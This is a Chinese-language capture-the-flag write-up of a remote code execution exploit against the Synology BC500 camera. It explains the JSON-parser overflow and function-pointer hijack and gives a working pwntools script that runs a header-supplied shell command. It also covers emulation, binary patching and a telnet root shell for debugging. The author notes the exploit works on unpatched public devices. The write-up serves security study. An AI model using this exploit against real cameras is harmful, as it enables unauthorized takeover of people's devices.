[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup
设备情况
这是一台网络摄像头,题目只开放了管理登录界面,应该是来自于前几个月 Pwn2Own 上的破解。
折腾一天混了个三血
利用思路
- 未授权接口+JSON 解析溢出,其中 buf1 和 buf2 可以控制
- 虽然可以溢出,但是难以劫持返回地址,因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用,并且最后会被析构,所以绕过和伪造比较困难。第二个难点是 json 通过
\uXXXX
嵌入不可见字符时会被 UTF8 编码导致 payload 破坏,并且默认 flags 下不支持传入\u0000
,很多地址无法使用(这一点需要通过逆向发现具体限制,不展开)。 - 观察发现栈上缓存的
lex_t
结构体在满足一定条件后可以劫持lex_t->stream_t->get
这一函数指针
- 满足一些栈上变量的限制条件后,将这个指针劫持到
SynoPopen
函数中popen
调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找popen
调用点是因为 CGI 体所在的地址空间刚好可以通过\uXXXX
传入且不会被破坏。
- 由于请求者自定义的请求头也会被传递给 CGI,所以可以使用
$ENV_NAME
的方式可以执行请求头中放置的命令,然后把 flag 写到/www/index.html
直接读出来
- 地址随机化程度很低,exp 成功概率约为 1/5
from pwn import *
import os
context.log_level = "debug"
ip = "47.88.48.133"
port = 33803
p = remote(ip, port)
#p = remote("127.0.0.1", 8080)
def poc(cmd):
payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA"
value = b'""'
json_data = b'{"' + payload + b'": ' + value + b'}'
_data = json_data
buf = b""
buf += b"PUT /syno-api/session HTTP/1.1\r\n"
buf += b"Accept: */*\r\n"
buf += b"A: cp /flag /www/index.html\r\n"
buf += b"Content-Type: application/json\r\n"
buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n"
buf += b"\r\n"
buf += _data
return buf
def exp():
p.send(poc(b"$HTTP_A;"))
print("Try to read flag...")
os.system(f"curl http://{ip}:{port}/index.html")
#p.interactive()
if __name__ == "__main__":
exp()
- 目前该 EXP 可以直接攻击公网中未升级的设备,请勿用于非法用途
调试方法
如何获取设备终端?
- 虽然模拟固件时可以得到一个 shell,但是由于模拟的问题终端会被报错信息填满,可以使用
telnetd -p 23 -l /bin/sh
开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
- 虽然模拟固件时可以得到一个 shell,但是由于模拟的问题终端会被报错信息填满,可以使用
如何调试 CGI?
方法1:提取 CGI 二进制文件,使用 qemu-user 进行模拟,只需要通过环境变量传递 HTTP 请求头和其它请求参数,通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符,对利用方式有影响,适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。
from pwn import * import json import urllib context.log_level = "debug" payload = b"A"*53 json_data = b'{"' + payload + b'": ""}' content_length = len(json_data) # elf base: 0x40000000 # json lib: 0x3f78c000 p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/synocam_param.cgi"], env={ "GATEWAY_INTERFACE": "CGI/1.1", "CONTENT_TYPE": "application/json", "ACTION_PREPARE": "yes", "LOCAL_URI": "/syno-api/session", "REMOTE_ADDR": "10.0.2.2", "SHLVL": "1", "DOCUMENT_ROOT": "/www", "REMOTE_PORT": "34052", "RESPONSE_TO": "SOCKET", "HTTP_ACCEPT": "*/*", "CONTENT_LENGTH": str(content_length), "SCRIPT_FILENAME": "/www/camera-cgi/synocam_param.cgi", "PATH_TRANSLATED": "/www", "REQUEST_URI": "/syno-api/session", "SERVER_SOFTWARE": "CivetWeb/1.15", "LOCAL_URI_RAW": "/syno-api/session", "PATH": "/sbin:/usr/sbin:/bin:/usr/bin", "SERVER_PROTOCOL": "HTTP/1.1", "HTTP_CONTENT_TYPE": "application/json", "REDIRECT_STATUS": "200", "REQUEST_METHOD": "PUT", "PWD": "/www/camera-cgi", "SERVER_ROOT": "/www", "HTTPS": "off", "SERVER_PORT": "80", "SCRIPT_NAME": "/syno-api/session", "ACTION_QUERY": "yes", "SERVER_NAME": "IPCam", "HTTP_CONTENT_LENGTH": str(content_length) } ) p.send(json_data) p.shutdown('send') p.interactive()
- 方法2:使用 qemu-system 的 -s 参数进行调试,在已知 CGI 地址空间时可以直接给漏洞点下断,等待触发断点,好处是和真实利用时的情况接近,缺点是操作比较麻烦,有时候会出现地址冲突问题。
如何获取 CGI 地址空间?
为了下断点和知道地址劫持的目标,获取 CGI 运行时地址空间很重要,但是 CGI 只在每次请求时单独被调用,每次运行地址都在变。所以首先得关闭设备 ASLR,然后通过 patch CGI 入口使其进入循环,这时候就可以通过 proc 文件系统读出地址空间如下。
- patch 方式:
printf "\xFE\xFF\xFF\xEA" | dd of=synocam_param.cgi bs=1 seek=$((0x7BF1C)) count=4 conv=notrunc
地址空间:
00400000-004a7000 r-xp 00000000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b7000-004b8000 r--p 000a7000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b8000-004b9000 rw-p 000a8000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b9000-004da000 rw-p 00000000 00:00 0 [heap] 76824000-76865000 rw-p 00000000 00:00 0 76865000-76991000 r-xp 00000000 00:02 1669 /lib/libc-2.30.so 76991000-769a1000 ---p 0012c000 00:02 1669 /lib/libc-2.30.so 769a1000-769a3000 r--p 0012c000 00:02 1669 /lib/libc-2.30.so 769a3000-769a4000 rw-p 0012e000 00:02 1669 /lib/libc-2.30.so 769a4000-769a7000 rw-p 00000000 00:00 0 769a7000-769c5000 r-xp 00000000 00:02 1607 /lib/libgcc_s.so.1 769c5000-769d4000 ---p 0001e000 00:02 1607 /lib/libgcc_s.so.1 769d4000-769d5000 r--p 0001d000 00:02 1607 /lib/libgcc_s.so.1 769d5000-769d6000 rw-p 0001e000 00:02 1607 /lib/libgcc_s.so.1 769d6000-76a32000 r-xp 00000000 00:02 1728 /lib/libm-2.30.so 76a32000-76a41000 ---p 0005c000 00:02 1728 /lib/libm-2.30.so 76a41000-76a42000 r--p 0005b000 00:02 1728 /lib/libm-2.30.so 76a42000-76a43000 rw-p 0005c000 00:02 1728 /lib/libm-2.30.so 76a43000-76b39000 r-xp 00000000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b39000-76b48000 ---p 000f6000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b48000-76b4d000 r--p 000f5000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b4d000-76b50000 rw-p 000fa000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b50000-76b51000 rw-p 00000000 00:00 0 76b51000-76b53000 r-xp 00000000 00:02 1621 /lib/libdl-2.30.so 76b53000-76b62000 ---p 00002000 00:02 1621 /lib/libdl-2.30.so 76b62000-76b63000 r--p 00001000 00:02 1621 /lib/libdl-2.30.so 76b63000-76b64000 rw-p 00002000 00:02 1621 /lib/libdl-2.30.so 76b64000-76b84000 r-xp 00000000 00:02 1351 /lib/libz.so.1.2.13 76b84000-76b93000 ---p 00020000 00:02 1351 /lib/libz.so.1.2.13 76b93000-76b94000 r--p 0001f000 00:02 1351 /lib/libz.so.1.2.13 76b94000-76b95000 rw-p 00020000 00:02 1351 /lib/libz.so.1.2.13 76b95000-76c10000 r-xp 00000000 00:02 1725 /lib/libssl.so.1.1 76c10000-76c1f000 ---p 0007b000 00:02 1725 /lib/libssl.so.1.1 76c1f000-76c24000 r--p 0007a000 00:02 1725 /lib/libssl.so.1.1 76c24000-76c28000 rw-p 0007f000 00:02 1725 /lib/libssl.so.1.1 76c28000-76e6f000 r-xp 00000000 00:02 1753 /lib/libcrypto.so.1.1 76e6f000-76e7f000 ---p 00247000 00:02 1753 /lib/libcrypto.so.1.1 76e7f000-76e95000 r--p 00247000 00:02 1753 /lib/libcrypto.so.1.1 76e95000-76e97000 rw-p 0025d000 00:02 1753 /lib/libcrypto.so.1.1 76e97000-76e9a000 rw-p 00000000 00:00 0 76e9a000-76f1a000 r-xp 00000000 00:02 1608 /lib/libcurl.so.4.8.0 76f1a000-76f2a000 ---p 00080000 00:02 1608 /lib/libcurl.so.4.8.0 76f2a000-76f2b000 r--p 00080000 00:02 1608 /lib/libcurl.so.4.8.0 76f2b000-76f2d000 rw-p 00081000 00:02 1608 /lib/libcurl.so.4.8.0 76f2d000-76f2e000 rw-p 00000000 00:00 0 76f2e000-76f45000 r-xp 00000000 00:02 1751 /lib/libpthread-2.30.so 76f45000-76f54000 ---p 00017000 00:02 1751 /lib/libpthread-2.30.so 76f54000-76f55000 r--p 00016000 00:02 1751 /lib/libpthread-2.30.so 76f55000-76f56000 rw-p 00017000 00:02 1751 /lib/libpthread-2.30.so 76f56000-76f58000 rw-p 00000000 00:00 0 76f58000-76f9c000 r-xp 00000000 00:02 1595 /lib/libutil.so 76f9c000-76fab000 ---p 00044000 00:02 1595 /lib/libutil.so 76fab000-76fac000 r--p 00043000 00:02 1595 /lib/libutil.so 76fac000-76fad000 rw-p 00044000 00:02 1595 /lib/libutil.so 76fad000-76fae000 rw-p 00000000 00:00 0 76fae000-76fbd000 r-xp 00000000 00:02 1358 /lib/libjansson.so.4.7.0 76fbd000-76fcc000 ---p 0000f000 00:02 1358 /lib/libjansson.so.4.7.0 76fcc000-76fcd000 r--p 0000e000 00:02 1358 /lib/libjansson.so.4.7.0 76fcd000-76fce000 rw-p 0000f000 00:02 1358 /lib/libjansson.so.4.7.0 76fce000-76fee000 r-xp 00000000 00:02 1612 /lib/ld-2.30.so 76ff5000-76ffb000 rw-p 00000000 00:00 0 76ffb000-76ffc000 r-xp 00000000 00:00 0 [sigpage] 76ffc000-76ffd000 r--p 00000000 00:00 0 [vvar] 76ffd000-76ffe000 r-xp 00000000 00:00 0 [vdso] 76ffe000-76fff000 r--p 00020000 00:02 1612 /lib/ld-2.30.so 76fff000-77000000 rw-p 00021000 00:02 1612 /lib/ld-2.30.so 7efdf000-7f000000 rw-p 00000000 00:00 0 [stack] ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
- patch 方式:
如何获取 CGI 环境变量?
- webd 调用 CGI 时只看文件名,所以可以将原来的 CGI 可执行文件替换成一个 shell 脚本打印出 webd 传递的环境变量。
如何确定未授权入口?
提取两类地址—— web 根目录下所有的文件相对路径、前端 JS 中的 API 路径,使用 dirsearch 扫描排除 401 响应的接口(注意需要换不同的请求方法进行尝试)。提取未授权入口是因为漏洞位于 json 解析的库中,而不是 webd 中,需要能够找到能够解析 json 的接口来完成整个攻击链。
提取的 URL 如下,其中
/syno-api/session
就是本次攻击的入口:[20:50:34] 200 - 29KB - /uistrings/ptb/strings [20:50:34] 200 - 28KB - /uistrings/nor/strings [20:50:34] 200 - 48KB - /uistrings/rus/strings [20:50:35] 200 - 29KB - /uistrings/sve/strings [20:50:35] 200 - 30KB - /uistrings/nld/strings [20:50:35] 200 - 30KB - /uistrings/krn/strings [20:50:35] 200 - 29KB - /uistrings/ita/strings [20:50:35] 200 - 30KB - /uistrings/spn/strings [20:50:35] 200 - 34KB - /uistrings/jpn/strings [20:50:35] 200 - 30KB - /uistrings/ptg/strings [20:50:35] 200 - 32KB - /uistrings/hun/strings [20:50:35] 200 - 27KB - /uistrings/enu/strings [20:50:35] 200 - 24KB - /uistrings/chs/strings [20:50:35] 200 - 28KB - /uistrings/dan/strings [20:50:35] 200 - 24KB - /uistrings/cht/strings [20:50:35] 200 - 31KB - /uistrings/ger/strings [20:50:35] 200 - 32KB - /uistrings/fre/strings [20:50:35] 200 - 30KB - /uistrings/trk/strings [20:50:35] 200 - 29KB - /uistrings/csy/strings [20:50:36] 200 - 31KB - /uistrings/plk/strings [20:50:36] 200 - 61KB - /uistrings/tha/strings [20:50:36] 200 - 32KB - /uistrings/uistrings.cgi [22:39:23] 200 - 15B - /syno-api/session [22:39:25] 200 - 7B - /syno-api/security/info/language [22:39:25] 200 - 21B - /syno-api/security/info/mac [22:39:25] 200 - 4B - /syno-api/security/info/serial_number [22:39:25] 200 - 105B - /syno-api/security/info [22:39:25] 200 - 6B - /syno-api/activate [22:39:25] 200 - 9B - /syno-api/security/info/name [22:39:25] 200 - 14B - /syno-api/maintenance/firmware/version [22:39:25] 200 - 6B - /syno-api/security/network/dhcp [22:39:25] 200 - 9B - /syno-api/security/info/model